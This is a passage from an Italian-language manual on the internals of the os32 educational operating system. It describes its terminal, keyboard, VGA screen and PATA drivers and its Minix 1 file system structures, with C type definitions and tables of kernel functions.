`DEV_KMEM_FILE`	r	diretto	Rappresenta la tabella dei file (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare il file; la dimensione richiesta dovrebbe essere abbastanza grande da contenere le informazioni di un file, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_CONSOLE`	r/w	sequenziale	Legge o scrive relativamente alla console attiva la quantità di byte richiesta, ignorando l'indirizzo di accesso.
`DEV_CONSOLE`***n***	r/w	sequenziale	Legge o scrive relativamente alla console ***n*** la quantità di byte richiesta, ignorando l'indirizzo di accesso.

109.7.5 Gestione del terminale

Listato 119.4.31 e successivi.

Il terminale offre solo la funzionalità elementare della modalità canonica, dove è possibile scrivere o leggere sequenzialmente. Ci sono al massimo quattro terminali virtuali, selezionabili attraverso le combinazioni di tasti [*Ctrl q*], [*Ctrl r*], [*Ctrl s*] e [*Ctrl t*] e non è possibile controllare i colori o la posizione del testo che si va a esporre; in pratica si opera come su una telescrivente. Le funzioni di livello più basso, relative al terminale hanno nomi che iniziano per '**`tty_...()`**'.

Per la gestione dei quattro terminali virtuali, si utilizza una tabella, in cui ogni voce rappresenta lo stato del terminale virtuale che rappresenta. La tabella è costituita dall'array

tty_table[] che contiene ***TTY_TOTALS*** elementi. L'array è dichiarato nel file '`kernel/driver/tty_public.c`', mentre la macro-variabile ***TTY_TOTALS*** appare nel file '`kernel/driver/tty.h`'. Gli elementi di ***tty_table[]*** sono di tipo '**`tty_t`**':

```
typedef struct {
    dev_t          device;
    pid_t          pgrp;              // Process group.
    struct termios attr;              // termios attributes.
    unsigned char  status;            // 0 = edit, 1 = end edit.
    char           line[MAX_CANON];   // Canonical input line.
    int            lpr;               // Input line position read.
    int            lpw;               // Input line position write.
} tty_t;
```

Il membro ***attr*** della voce di un terminale è una variabile strutturata di tipo '**`struct termios`**', come previsto nel file '`termios.h`' della libreria standard.

L'input del terminale, proveniente dalla tastiera, viene depositato dalla funzione ***proc_sch_terminals()*** all'interno del membro ***line[]***, annotando in ***lpw*** l'indice di scrittura. Quando si legge dal terminale, si ottiene un carattere alla volta da ***line[]***, con l'ausilio dell'indice ***lpr***. Quando il terminale virtuale riceve input dalla tastiera, è nello stato definito dalla macro-variabile ***TTY_INPUT_LINE_EDITING***, mentre quando l'inserimento risulta concluso, per esempio perché è stato premuto il tasto [*Invio*], lo stato è quello di ***TTY_INPUT_LINE_CLOSED*** ed è possibile procedere con la lettura del contenuto di ***line[]***: quando la lettura termina perché l'indice ***lpr*** ha raggiunto ***lpw***, gli indici vengono azzerati e lo stato ritorna quello di inserimento. Quando un processo tenta di leggere dal terminale, mentre questo è in fase di inserimento, non ancora concluso, viene sospeso e rimane così fino alla conclusione dell'inserimento stesso.

Figura 109.83. A sinistra le fasi dell'inserimento di una riga da tastiera; a destra le fasi della lettura attraverso la funzione ***tty_read()***.

Tabella 109.84. Funzioni per l'accesso al terminale, dichiarate nel file di intestazione '`kernel/driver/tty.h`' e descritte nei file contenuti nella directory '`kernel/driver/tty/`'.

Funzione	Descrizione
`dev_t tty_console (dev_t` ***device***`);`	Seleziona un terminale virtuale, rendendolo attivo, specificandone il numero del dispositivo. La funzione restituisce il dispositivo attivo in precedenza e se le viene fornito solo il valore zero, il terminale virtuale non cambia, ma si ottiene comunque di conoscere qual è quello attuale.
`void tty_init (void);`	Inizializza la gestione dei terminali virtuali, popolando anche la tabella ***tty_table[]*** con i valori predefiniti. Questa funzione viene usata una volta sola all'interno di ***kmain()***.
`int tty_read (dev_t` ***device***`);`	Legge un carattere dal terminale virtuale specificato attraverso il numero di dispositivo. La lettura avviene solo se l'input da tastiera risulta concluso, altrimenti la funzione restituisce il valore -1.
`tty_t *tty_reference (dev_t` ***device***`);`	Restituisce il puntatore alla voce della tabella ***tty_table[]*** contenente le informazioni sul terminale virtuale indicato attraverso il numero di dispositivo. Se il dispositivo indicato non è valido, si ottiene il puntatore nullo; se viene richiesto il dispositivo indefinito, si ottiene il puntatore all'inizio della tabella.

Funzione	Descrizione
`void tty_write (dev_t` ***device***`, int` ***c***`);`	Scrive un carattere sullo schermo del terminale specificato.

109.7.5.1 Gestione della tastiera

Listato 119.4.15 e successivi.

Per la gestione della tastiera, nel file '`kernel/driver/kbd_public.c`' viene dichiarata una variabile strutturata, di tipo '**`kbd_t`**', contenente le informazioni sullo stato della stessa e sulla mappa di trasformazione da applicare. A differenza della gestione complessiva dei terminali, in cui ogni terminale virtuale ha un proprio insieme di dati, per la tastiera questo è unico.

Listato 109.85. Definizione del tipo '**`kbd_t`**', contenuto nel file '`kernel/driver/kbd.h`'.

```
typedef struct {
    bool          shift;
    bool          shift_lock;
    bool          ctrl;
    bool          alt;
    bool          echo;
    unsigned char key;
    unsigned char map1[128];
    unsigned char map2[128];
} kbd_t;
```

Nella variabile ***kbd***, come si intuisce dai nomi dei suoi membri, viene annotato lo stato di pressione dei tasti delle maiuscole, dei tasti [*Ctrl*] e [*Alt*], per poter recepire eventuali combinazioni di tasti; inoltre, il membro ***echo***, se attivo, indica la richiesta di vedere sullo schermo ciò che si digita.

Dalla tastiera viene recepito un solo tasto alla volta: se questo si traduce in un carattere, stampabile o meno che sia, questo viene depositato nel membro ***key***, da dove la funzione ***proc_sch_terminals()*** deve provvedere a prelevarlo (per trasferirlo nel membro ***line[]*** della voce che descrive il terminale virtuale attivo), azzerando nuovamente ***key***. Fino a quando il membro ***key*** ha un valore diverso da zero, non è possibile recepire altro dalla tastiera.

Dalla tastiera è possibile ottenere solo i caratteri ASCII; in particolare, quelli non stampabili si ottengono per combinazione con il tasto [*Ctrl*], secondo la convenzione tradizionale. Non sono previste altre funzionalità.

Tabella 109.86. Funzioni per la gestione della tastiera, dichiarate nel file di intestazione '`kernel/driver/kbd.h`' e descritte nei file contenuti nella directory '`kernel/driver/kbd/`'.

Funzione	Descrizione
`void kbd_isr (void);`	Questa funzione è chiamata dalla routine di gestione delle interruzioni da tastiera, contenuta nel file '`kernel/ibm_i386/isr.s`'. La funzione legge un carattere dalla porta di I/O 60_{16}, quindi lo interpreta e aggiorna il contenuto della variabile strutturata ***kbd*** di conseguenza.

Funzione	Descrizione
`void kbd_load (void);`	Questa funzione è chiamata una sola volta da ***kmain()***, per associare la mappa della tastiera ai codici prodotti dalla stessa. Attualmente questa funzione produce esclusivamente l'associazione necessaria per una tastiera italiana.

La funzione ***proc_scheduler()***, il cui scopo principale è quello di alternare i processi in esecuzione, tra le altre cose, avvia ogni volta la funzione ***proc_scheduler_terminals()***. La funzione ***proc_scheduler_terminals()*** verifica se nella variabile ***kbd.key*** è disponibile un valore diverso da zero e, se c'è, lo acquisisce per conto del terminale attivo. Prima di tutto verifica se si tratta di una combinazione di tasti che richiede lo scambio a un altro terminale virtuale; poi controlla se si tratta di un codice di interruzione (come quello provocato da [*Ctrl c*]) e, se la configurazione del terminale attivo lo permette, conclude il processo più interno appartenente al gruppo che risulta connesso al terminale stesso; alla fine, dopo altre ipotesi particolari, se si tratta di un carattere «normale» e il terminale si trova in fase di inserimento (***TTY_INPUT_LINE_EDITING***), questo viene depositato nell'array ***line[]***, con il conseguente aggiornamento dell'indice di scrittura al suo interno; ricevendo invece un codice che rappresenta la conclusione dell'inserimento, si rimette il terminale nello stato di conclusione dell'inserimento (***TTY_INPUT_LINE_CLOSED***).

109.7.5.2 Gestione dello schermo

Listato 119.4.19 e successivi.

Lo schermo di os32 viene gestito secondo quanto prescrive l'hardware VGA (come descritto nella sezione 108.3), per cui ciò che si vuole fare apparire deve essere scritto in memoria a partire dall'indirizzo $B8000_{16}$, usando per ogni carattere 16 bit (8 bit di questo gruppo servono per gli attributi).

Dal momento che si gestiscono dei terminali virtuali, per ognuno di questi occorre tenere una copia dell'immagine dello schermo, così, quando si seleziona un terminale differente, la copia di quel terminale viene usata per sovrascrivere l'area di memoria che rappresenta lo schermo. Per la gestione degli schermi virtuali si usa una tabella, denominata ***screen_table[]***, composta da voci di tipo '**`screen_t`**'.

Listato 109.87. Definizione del tipo '**`screen_t`**', contenuto nel file '`kernel/driver/screen.h`'.

```
typedef struct {
    uint16_t  cell[SCREEN_CELLS];
    int       position;
} screen_t;
```

All'interno della struttura rappresentata dal tipo '**`screen_t`**', si vede un array che riproduce la rappresentazione in memoria dello stesso, da copiare a partire dall'indirizzo $B8000_{16}$, quando lo schermo virtuale diventa quello attivo; inoltre si vede il membro ***position***, usato per ricordare la posizione in cui si trova il cursore.

Tabella 109.88. Funzioni per la gestione dello schermo, dichiarate nel file di intestazione '`kernel/driver/screen.h`' e descritte nei file contenuti nella directory '`kernel/driver/screen/`'.

Funzione	Descrizione
`int screen_clear (screen_t *`***screen***`);`	Ripulisce il contenuto dello schermo selezionato, riposizionando il cursore all'inizio.
`screen_t *screen_current (void);`	Restituisce il puntatore alla voce della tabella ***screen_table[]*** che descrive lo schermo virtuale attivo.
`void screen_init (void);`	Inizializza la gestione degli schermi virtuali, ripulendoli e collocando il cursore all'inizio. Questa funzione viene usata da ***tty_init()***.
`int screen_newline (screen_t *`***screen***`);`	Produce sullo schermo virtuale selezionato un avanzamento alla riga successiva. Ciò può comportare semplicemente il riposizionamento del cursore, oppure lo scorrimento in avanti del contenuto, quando il cursore si trova già sull'ultima riga visualizzabile.
`int screen_number (screen_t *`***screen***`);`	Restituisce il numero dello schermo corrispondente al puntatore fornito, purché questo sia valido. È in pratica l'opposto della funzione ***screen_pointer()***.
`screen_t *screen_pointer (int `***scrn***`);`	Restituisce il puntatore alla voce della tabella ***screen_table[]*** che descrive lo schermo virtuale indicato per numero. È in pratica l'opposto della funzione ***screen_number()***.
`int screen_putc (screen_t *`***screen***`, int `***c***`);`	Colloca sullo schermo virtuale individuato dal puntatore che costituisce il primo parametro, il carattere richiesto come secondo. Se il carattere in questione è *<CR>* o *<LF>*, si produce un avanzamento alla riga successiva, mentre con un carattere *<BS>* si produce un arretramento del cursore.
`uint16_t screen_cell (`***c***`, `***attributo***`);`	Si tratta di una macro-istruzione che produce il valore corretto per una cella dello schermo VGA, contenente sia l'informazione sul carattere, sia quella dell'attributo associato.
`int screen_scroll (screen_t *`***screen***`);`	Fa scorrere in avanti lo schermo, di una riga, ricollocando di conseguenza il cursore.
`int screen_select (screen_t *`***screen***`);`	Seleziona lo schermo indicato come schermo attivo, facendone apparire il contenuto sullo schermo VGA reale.
`void screen_update (screen_t *`***screen***`);`	Aggiorna la memoria VGA sulla base della copia che rappresenta lo schermo virtuale attivo. L'aggiornamento implica anche la collocazione del cursore visibile in corrispondenza della posizione attuale.

109.7.5.3 Configurazione del terminale

Lo standard dei sistemi Unix prescrive che per ogni terminale gestito sia prevista una variabile strutturata, di tipo ***struct termios***, allo scopo di contenere la configurazione dello stesso. os32 gestisce i terminali virtuali soltanto in modalità «canonica», ovvero come se si trattasse di telescriventi, anche se munite di video invece che di carta, pertanto utilizza solo un sottoinsieme delle opzioni previste.

```
typedef uint16_t      tcflag_t;
typedef unsigned char cc_t;
…
struct termios {
    tcflag_t c_iflag;
    tcflag_t c_oflag;
    tcflag_t c_cflag;
    tcflag_t c_lflag;
    cc_t     c_cc[NCCS];
};
```

Il membro ***c_cc[]*** è un array di caratteri di controllo, a cui viene attribuita una definizione.

Tabella 109.90. Caratteri di controllo riconosciuti da os32, secondo le definizioni del file '`termios.h`'.

Definizione	Corrispondenza	Descrizione
VEOF	04_{16} *<EOT>*	Carattere di fine file.
VERASE	08_{16} *<BS>*	Carattere di cancellazione.
VINTR	03_{16} *<ETX>*	Carattere di interruzione.
VQUIT	$1C_{16}$ *<FS>*	Carattere di abbandono.

Il membro ***c_iflag*** serve a contenere opzioni sull'inserimento, ovvero sul controllo della digitazione.

Tabella 109.91. Opzioni del membro ***c_iflag*** riconosciute da os32.

Opzione	Descrizione
BRKINT	Se questa opzione è attiva e, nel contempo, non è attiva ***IGNBRK***, si intendono recepire i codici di interruzione ***VINTR***. Se l'opzione ***ISIG*** del membro ***c_lflag*** è attiva, il processo più interno del gruppo a cui appartiene il terminale viene concluso; in ogni caso, viene annullato il contenuto della riga di inserimento in corso.
ICRNL	Se si riceve il carattere *<CR>*, questo viene convertito in *<NL>*.
IGNBRK	Se questa opzione è attiva, fa sì che il carattere definito come ***VINTR*** sia ignorato.
IGNCR	Se si riceve il carattere *<CR>*, questo viene ignorato semplicemente.
INLCR	Se si riceve il carattere *<NL>*, questo viene convertito in *<CR>*.

Il membro ***c_lflag*** serve a contenere delle opzioni definite come «locali», le quali si occupano in pratica di controllare la visualizzazione della digitazione introdotta e di decidere se l'interruzione ricevuta da tastiera debba produrre l'invio di un segnale di interruzione al processo con cui si sta interagendo. Gli altri due membri della struttura non vengono utilizzati da os32.

Tabella 109.92. Opzioni del membro ***c_lflag*** riconosciute da os32.

Opzione	Descrizione
ECHO	Abilita la visualizzazione sullo schermo del testo inserito da tastiera.
ECHOE	Ammesso che sia attiva l'opzione ***ECHO***, questa abilita il recepimento del carattere definito come ***VERASE*** per cancellare l'ultimo carattere inserito, indietreggiando di una posizione.
ECHONL	Indipendentemente dall'opzione ***ECHO***, questa abilita il recepimento del carattere <NL> per fare avanzare il cursore alla riga successiva, con l'eventuale scorrimento in avanti se si trova già sull'ultima.
ISIG	Ammesso che sia recepito e accettato un codice di interruzione, definito come ***VINTR***, con questa opzione si ottiene l'invio di un segnale di interruzione al processo più interno del gruppo collegato al terminale (il processo più interno dovrebbe corrispondere a quello in primo piano al momento della digitazione).

109.7.6 Gestione delle unità di memorizzazione in generale

Listato 119.4 e successivi.

Le unità di memorizzazione vengono viste da os32 attraverso un gruppo di dispositivi astratti, definiti come ***DEV_DM*∗***, dove la prima unità PATA disponibile ottiene il numero ***DEV_DM00***, la seconda ***DEV_DM10***,...

Il numero del dispositivo che rappresenta queste unità è composto in modo solito per ciò che riguarda la distinzione tra numero primario e numero secondario, ma il numero secondario si scompone ulteriormente in due parti: l'unità intera e la partizione. Per esempio, il numero 0810_{16} individua la seconda unità di memorizzazione per intero, mentre 0811_{16} rappresenta la prima partizione della seconda unità.

Le unità di memorizzazione riconosciute dal sistema sono raccolte in una tabella, denominata ***dm_table[]***. Ogni elemento di questa tabella contiene l'informazione sul tipo di unità, un puntatore per raggiungere un'altra tabella con le informazioni specifiche sull'unità, in base al tipo di questa (attualmente l'unica tabella in questione può essere quella delle unità PATA), le informazioni sulle partizioni esistenti (ma solo quelle primarie).

Inizialmente, all'interno di ***proc_init()***, viene avviata la funzione ***dm_init()***, la quale a sua volta scandisce le unità PATA attraverso ***ata_init()*** e ne raccoglie le informazioni nella propria tabella ***dm_table()***.

109.7.7 Gestione delle unità PATA

Listato 119.4.3 e successivi.

La gestione delle unità PATA di os32 si limita alla modalità PIO (*programmed input-output*), con accesso LBA28, senza nemmeno considerare le partizioni. La spiegazione sul come avvenga la gestione di un'unità PATA, secondo le stesse modalità usate da os32 è disponibile nella sezione 108.9.

Per la gestione delle unità PATA, os32 utilizza una tabella, denominata ***ata_table[]***, composta da voci di tipo ***ata_t***, ognuna delle quali contiene lo stato di un'unità. L'indice della tabella corrisponde al numero dell'unità, ovvero al parametro ***drive*** di varie funzioni. La tabella è dichiarata formalmente nel file '`kernel/driver/ata/ata_public.c`', mentre il tipo derivato '**`ata_t`**' è descritto nel file '`kernel/driver/ata.h`'. Per comodità, si trova anche il

tipo '**ata_sector_t**', usato per descrivere lo spazio di memoria usato per collocare la copia di un settore di dati di un'unità PATA.

Tabella 109.93. Funzioni per la gestione delle unità PATA, dichiarate nel file di intestazione 'kernel/driver/ata.h' e descritte nei file contenuti nella directory 'kernel/driver/ata/'. Le funzioni sono raggruppate in insiemi logici.

Funzione	Descrizione
`void ata_init (void);`	Inizializza la gestione delle unità PATA, predisponendo i contenuti della tabella ***ata_table[]***, verificando la presenza delle unità. Questa funzione viene usata una volta sola, nella funzione ***proc_init()***.
`void ata_reset (int` ***drive***`);`	Azzera lo stato di funzionamento dell'unità PATA specificata.
`int ata_valid (int` ***drive***`);`	Verifica se l'unità richiesta è presente effettivamente. In caso di successo restituisce il valore zero, altrimenti si ottiene −1.

Funzione	Descrizione

`int`
`ata_cmd_identify_device (int` ***drive***`,`
`void *`***buffer***`);`
	Richiede all'unità specificata le informazioni sulla sua identificazione. Se l'unità è presente, in corrispondenza del puntatore fornito si ottengono le informazioni nello spazio di un settore (***ATA_SECTOR_SIZE***); l'analisi successiva di questi dati può dare maggiori informazioni sull'unità.

`int`
`ata_cmd_read_sectors (`
`int` ***drive***`,`
`unsigned int` ***sector***`,`
`unsigned char` ***count***`,`
`void *`***buffer***`);`
	Legge dall'unità ***drive***, a partire dal settore ***sector***, una quantità pari a ***count*** settori, mettendo il risultato a partire dall'indirizzo di memoria ***buffer***. Se ***count*** fosse pari a zero, si intenderebbero 256 settori. Se l'operazione fallisce, restituisce un valore negativo.

`int`
`ata_cmd_write_sectors (`
`int` ***drive***`,`
`unsigned int` ***sector***`,`
`unsigned char` ***count***`,`
`void *`***buffer***`);`
	Scrive nell'unità ***drive***, a partire dal settore ***sector***, una quantità pari a ***count*** settori, leggendoli a partire dall'indirizzo di memoria ***buffer***. Se ***count*** fosse pari a zero, si intenderebbero 256 settori. Se l'operazione fallisce, restituisce un valore negativo.

`int ata_device (int` ***drive***`,` `unsigned int` ***sector***`);`	Imposta il registro ***device*** dell'unità PATA specificata, con l'indicazione di un numero di settore.

Funzione	Descrizione
`int ata_rdy (int` ***drive***`, clock_t` ***timeout***`);`	Attende che l'unità ***drive*** sia pronta, purché ciò avvenga entro il tempo ***timeout***. Se l'operazione ha successo, la funzione restituisce zero, altrimenti dà un valore negativo.
`int ata_drq (int` ***drive***`, clock_t` ***timeout***`);`	Attende che l'unità ***drive*** sia pronta a ricevere dati, purché ciò avvenga entro il tempo ***timeout***. Se l'operazione ha successo, la funzione restituisce zero, altrimenti dà un valore negativo.

Funzione	Descrizione

`int ata_lba28 (int` ***drive***`,`
`unsigned int` ***sector***`,`
`unsigned char` ***count***`);`
	Invia all'unità ***drive*** la prima parte di un comando, in cui sono contenute le coordinate LBA28.

Funzione	Descrizione

`int`
`ata_read_sector (`
`int` ***drive***`,`
`unsigned int` ***sector***`,`
`void *`***buffer***`);`
	È una macro-istruzione che legge dall'unità ***drive***, il settore ***sector***, mettendo il risultato a partire dall'indirizzo di memoria ***buffer***. La macro-istruzione si avvale praticamente della funzione ***ata_cmd_read_sectors()***, per leggere un solo settore.

`int`
`ata_write_sector (`
`int` ***drive***`,`
`unsigned int` ***sector***`,`
`void *`***buffer***`);`
	È una macro-istruzione che scrive nell'unità ***drive***, il settore ***sector***, traendo i dati dall'indirizzo di memoria ***buffer***. La macro-istruzione si avvale praticamente della funzione ***ata_cmd_write_sectors()***, per scrivere un solo settore.

109.8 Gestione del file system

La gestione del file system è suddivisa in diversi file contenuti nella directory '`kernel/fs/`', facenti capo al file di intestazione '`kernel/fs.h`'.

Listato 119.5 e successivi.

109.8.1 File «kernel/fs/sb_...»

I file '`kernel/fs/sb_...`' descrivono le funzioni per la gestione dei super blocchi, distinguibili perché iniziano tutte con il prefisso '**`sb_`**'. Tra questi file si dichiara l'array ***sb_table[]***, il quale rappresenta una tabella le cui righe sono rappresentate da elementi di tipo '**`sb_t`**' (il tipo '**`sb_t`**' è definito nel file '`kernel/fs.h`'). Per uniformare l'accesso alla tabella, la funzione ***sb_reference()*** permette di ottenere il puntatore a un elemento dell'array ***sb_table[]***, specificando il numero del dispositivo cercato.

Figura 109.94. Struttura del tipo '**`sb_t`**', corrispondente agli elementi dell'array ***sb_table[]***.


```
typedef struct sb        sb_t;

struct sb {
  uint16_t  inodes;
  uint16_t  zones;
  uint16_t  map_inode_blocks;
  uint16_t  map_zone_blocks;
  uint16_t  first_data_zone;
  uint16_t  log2_size_zone;
  uint32_t  max_file_size;
  uint16_t  magic_number;
  //-------------------------
  dev_t     device;
  inode_t  *inode_mounted_on;
  blksize_t blksize;
  int       options;
  uint16_t  map_inode[SB_MAP_INODE_SIZE];
  uint16_t  map_zone[SB_MAP_ZONE_SIZE];
  char      changed;
};
```

Il super blocco rappresentato dal tipo '**`sb_t`**' include anche le mappe delle zone e degli inode impegnati. Queste mappe hanno una dimensione fissa in memoria, mentre nel file system reale possono essere di dimensione minore. La tabella di super blocchi, contiene le informazioni dei dispositivi di memorizzazione innestati nel sistema. L'innesto si concretizza nel riferimento a un inode, contenuto nella tabella degli inode (descritta in un altro capitolo), il quale rappresenta la directory di un'altra unità, su cui tale innesto è avvenuto. Naturalmente, l'innesto del file system principale rappresenta un caso particolare.

Tabella 109.95. Funzioni per la gestione dei dispositivi di memorizzazione di massa, a livello di super blocco, definite nei file '`kernel/fs/sb_...`'.

Funzione	Descrizione
`sb_t *sb_reference (dev_t` ***device***`);`	Restituisce il riferimento a un elemento della tabella dei super blocchi, in base al numero del dispositivo di memorizzazione. Se il dispositivo cercato non risulta giù innestato, si ottiene il puntatore nullo; se si chiede il dispositivo zero, si ottiene il puntatore al primo elemento della tabella.

Funzione	Descrizione
`sb_t *sb_mount (dev_t` ***device*** `,` `inode_t **`***inode_mnt*** `,` `int` ***options*** `);`	Innesta il dispositivo rappresentato numericamente dal primo parametro, sulla directory corrispondente all'inode a cui punta il secondo parametro, con le opzioni del terzo parametro. Quando si tratta del primo innesto del file system principale, la directory è quella dello stesso file system, pertanto, in tal caso, ***inode_mnt*** è inizialmente un puntatore nullo e deve essere modificato dalla funzione stessa.
`int sb_save (sb_t *`***sb*** `);`	Salva il super blocco nella sua unità di memorizzazione, se questo risulta modificato. In questo caso, il super blocco include anche le mappe degli inode e delle zone.
`int sb_zone_status (sb_t *`***sb*** `,` `zno_t` ***zone*** `);`	Restituisce uno se la zona rappresentata dal secondo parametro è impegnata nel super blocco a cui si riferisce il primo parametro; diversamente restituisce zero.
`int sb_inode_status (sb_t *`***sb*** `,` `ino_t` ***ino*** `);`	Restituisce uno se l'inode rappresentato dal secondo parametro è impegnato nel super blocco a cui si riferisce il primo parametro; diversamente restituisce zero.
`void sb_print (void);`	Funzione diagnostica per la visualizzazione sullo schermo dello stato della tabella dei super blocchi.

109.8.2 File «kernel/fs/zone_...»

Nel file system Minix 1, si distinguono i concetti di blocco e zona di dati, con il vincolo che la zona ha una dimensione multipla del blocco. Il contenuto del file system, dopo tutte le informazioni amministrative, è organizzato in zone; in altri termini, i blocchi di dati si raggiungono in qualità di zone.

codice di avvio
super blocco
mappa di inode
mappa di zone
inode
blocchi di dati
= blocco da 1024 byte

La zona rimane comunque un tipo di blocco, potenzialmente più grande (ma sempre multiplo) del blocco vero e proprio, che si numera a partire dall'inizio dello spazio disponibile, con la differenza che è utile solo per raggiungere i blocchi di dati. Nel super blocco del file system si trova l'informazione del numero della prima zona che contiene dati, in modo da non dover ricalcolare questa informazione ogni volta.

I file '`kernel/fs/zone_...`' descrivono le funzioni per la gestione del file system a zone.

Tabella 109.97. Funzioni per la gestione delle zone, definite nei file 'kernel/fs/zone_...'.

Funzione	Descrizione
`zno_t zone_alloc (sb_t *sb);`	Alloca una zona, restituendo il numero della stessa. In pratica, cerca la prima zona libera nel file system a cui si riferisce il super blocco ***sb** e la segna come impegnata, restituendone il numero.
`int zone_free (sb_t *sb, zno_t zone);`	Libera una zona, impegnata precedentemente.
`int zone_read (sb_t *sb, zno_t zone, void *buffer);`	Legge il contenuto di una zona, memorizzandolo a partire dalla posizione di memoria rappresentato da ***buffer***.
`int zone_write (sb_t *sb, zno_t zone, void *buffer);`	Sovrascrive una zona, utilizzando il contenuto della memoria a partire dalla posizione rappresentata da ***buffer***.
`void zone_print (sb_t *sb, zno_t zone);`	Funzione diagnostica per la visualizzazione dello stato di una zona.

109.8.3 File «kernel/fs/inode_...»

I file 'kernel/fs/inode_...' descrivono le funzioni per la gestione dei file, in forma di inode. In uno di questi file viene dichiarata la tabella degli inode in uso nel sistema, rappresentata dall'array ***inode_table[]*** e per individuare un certo elemento dell'array si usa preferibilmente la funzione ***inode_reference()***. Gli elementi della tabella degli inode sono di tipo '**inode_t**' (definito nel file 'kernel/fs.h'); una voce della tabella rappresenta un inode utilizzato se il campo dei riferimenti (***references***) ha un valore maggiore di zero.

Figura 109.98. Struttura del tipo '**`inode_t`**', corrispondente agli elementi dell'array ***inode_table[]***.


```
typedef struct inode     inode_t;

struct inode {
    mode_t        mode;
    uid_t         uid;
    ssize_t       size;
    time_t        time;
    uint8_t       gid;
    uint8_t       links;
    zno_t         direct[7];
    zno_t         indirect1;
    zno_t         indirect2;
    //------------------------
    sb_t         *sb;
    ino_t         ino;
    sb_t         *sb_attached;
    blkcnt_t      blkcnt;
    unsigned char references;
    char          changed  : 1,
                  pipe_dir : 1;
    unsigned char pipe_off_read;
    unsigned char pipe_off_write;
    unsigned char pipe_ref_read;
    unsigned char pipe_ref_write;
};
```

Figura 109.99. Collegamento tra la tabella degli inode e quella dei super blocchi.

Tabella 109.100. Funzioni per la gestione dei file in forma di inode, definite nei file '`kernel/fs/inode_...`'.

Funzione	Descrizione
`inode_t *inode_reference (dev_t` ***device***`, ino_t` ***ino***`);`	Restituisce il puntatore a un inode, rappresentato in pratica da un elemento dell'array ***inode_table[]***, corrispondente a quello con il numero di dispositivo e di inode indicati come argomenti. Se entrambi gli argomenti sono a zero, si ottiene il puntatore al primo elemento; se entrambi i valori sono pari a -1, si ottiene il puntatore al primo elemento libero; se viene indicato il dispositivo zero e l'inode numero uno, si ottiene il puntatore all'elemento corrispondente alla directory radice del file system principale.
`inode_t *inode_alloc (dev_t` ***device***`, mode_t` ***mode***`, uid_t` ***uid*** `gid_t` ***gid***`);`	La funzione ***inode_alloc()*** cerca un inode libero nel file system del dispositivo indicato, quindi lo alloca (lo segna come utilizzato) e lo modifica aggiornando il tipo e la modalità dei permessi, oltre al proprietario del file e al gruppo. Se la funzione riesce nel suo intento, restituisce il puntatore all'inode in memoria, il quale rimane così aperto e disponibile per ulteriori elaborazioni.
`int inode_free (inode_t *`***inode***`);`	Segna l'inode indicato come libero.
`inode_t *inode_get (dev_t` ***device***`, ino_t` ***ino***`);`	Restituisce il puntatore all'inode rappresentato dal numero di dispositivo e di inode, indicati come argomenti. Se l'inode è già presente nella tabella degli inode, la cosa si risolve nell'incremento di una unità del numero dei riferimenti di tale inode; se invece l'inode non è ancora presente, questo viene caricato dal suo file system nella tabella e gli viene attribuito inizialmente un riferimento attivo.

Funzione	Descrizione
`int inode_put (inode_t *inode);`	Rilascia un inode che non serve più. Ciò comporta la riduzione del contatore dei riferimenti nella tabella degli inode, tenendo conto che se tale valore raggiunge lo zero, si provvede anche al suo salvataggio nel file system (ammesso che l'inode della tabella risulti modificato, rispetto alla versione presente nel file system). La funzione restituisce zero in caso di successo, oppure −1 in caso contrario.
`int inode_save (inode_t *inode);`	Salva l'inode nel file system, se questo risulta modificato.
`int inode_truncate (inode_t *inode);`	Riduce la dimensione del file a cui si riferisce l'inode a zero. In pratica fa sì che le zone allocate del file siano liberate. La funzione restituisce zero se l'operazione si conclude con successo, oppure −1 in caso di problemi.

`zno_t inode_zone (inode_t *inode,`
`zno_t fzone,`
`int write);`
	Restituisce il numero di zona effettivo, corrispondente a un numero di zona relativo a un certo file di un certo inode. Se il parametro ***write*** è pari a zero, si intende che la zona deve esistere, quindi se questa non c'è, si ottiene semplicemente un valore pari a zero; se invece l'ultimo parametro è pari a uno, nel caso la zona cercata fosse attualmente mancante, verrebbe creata al volo nel file system.

`inode_t *`
`inode_stdio_dev_make (dev_t device,`
`mode_t mode);`
	Alloca un inode in memoria, riferito al dispositivo richiesto dal primo parametro, con i permessi del secondo parametro. Tale inode è adatto per essere utilizzato come flusso standard (standard input, standard output o standard error). Questa funzione viene usata solo da ***file_stdio_dev_make()***, la quale, a sua volta, viene usata solo da ***proc_sys_exec()***.

`blkcnt_t`
`inode_fzones_read (inode_t *inode,`
`zno_t zone_start,`
`void *buffer,`
`blkcnt_t blkcnt);`
	Legge da un file, identificato attraverso il puntatore all'inode (della tabella di inode), una certa quantità di zone, a partire da una certa zona relativa al file, mettendo il risultato della lettura a partire dalla posizione di memoria rappresentata da un puntatore generico. La funzione restituisce la quantità di zone lette con successo.

`blkcnt_t`
`inode_fzones_write (inode_t *inode,`
`zno_t zone_start,`
`void *buffer,`
`blkcnt_t blkcnt);`
	Svolge il compito opposto della funzione ***inode_fzones_read()*** e attualmente non viene utilizzata.

`ssize_t inode_file_read (inode_t *inode,`
`off_t offset,`
`void *buffer,`
`size_t count,`
`int *eof);`
	Legge il contenuto di un file, individuato da un inode già caricato nella tabella relativa, aggiornando eventualmente una variabile contenente l'indicatore di fine file. La funzione restituisce la quantità di byte letti con successo, oppure il valore −1 in caso di problemi.

Funzione	Descrizione
`ssize_t inode_file_write (inode_t *inode, off_t offset, void *buffer, size_t count);`	Scrive una certa quantità di byte nel file individuato da un inode già caricato nella tabella relativa. La funzione restituisce la quantità di byte scritti effettivamente, oppure il valore −1 in caso di problemi.
`int inode_check (inode_t *inode, mode_t type, int perm, uid_t uid gid_t gid);`	Verifica che l'inode sia di un certo tipo e abbia i permessi di accesso necessari a un certo utente e gruppo. Nel parametro ***type*** si possono indicare più tipi validi. La funzione restituisce zero in caso di successo, ovvero di compatibilità, mentre restituisce −1 se il tipo o i permessi non sono adatti.
`int inode_dir_empty (inode_t *inode);`	Verifica se la directory a cui si riferisce l'inode è effettivamente una directory ed è vuota, nel qual caso restituisce il valore uno, altrimenti restituisce zero.
`inode_t *inode_pipe_make (void);`	Crea un condotto senza nome (*pipe*), restituendo il puntatore all'inode relativo.
`ssize_t inode_pipe_read (inode_t *inode, void *buffer, size_t count, int *eof);`	Legge il contenuto di un condotto, individuato da un inode già caricato nella tabella relativa, aggiornando eventualmente una variabile contenente l'indicatore di fine file. La funzione restituisce la quantità di byte letti con successo, oppure il valore −1 in caso di problemi.
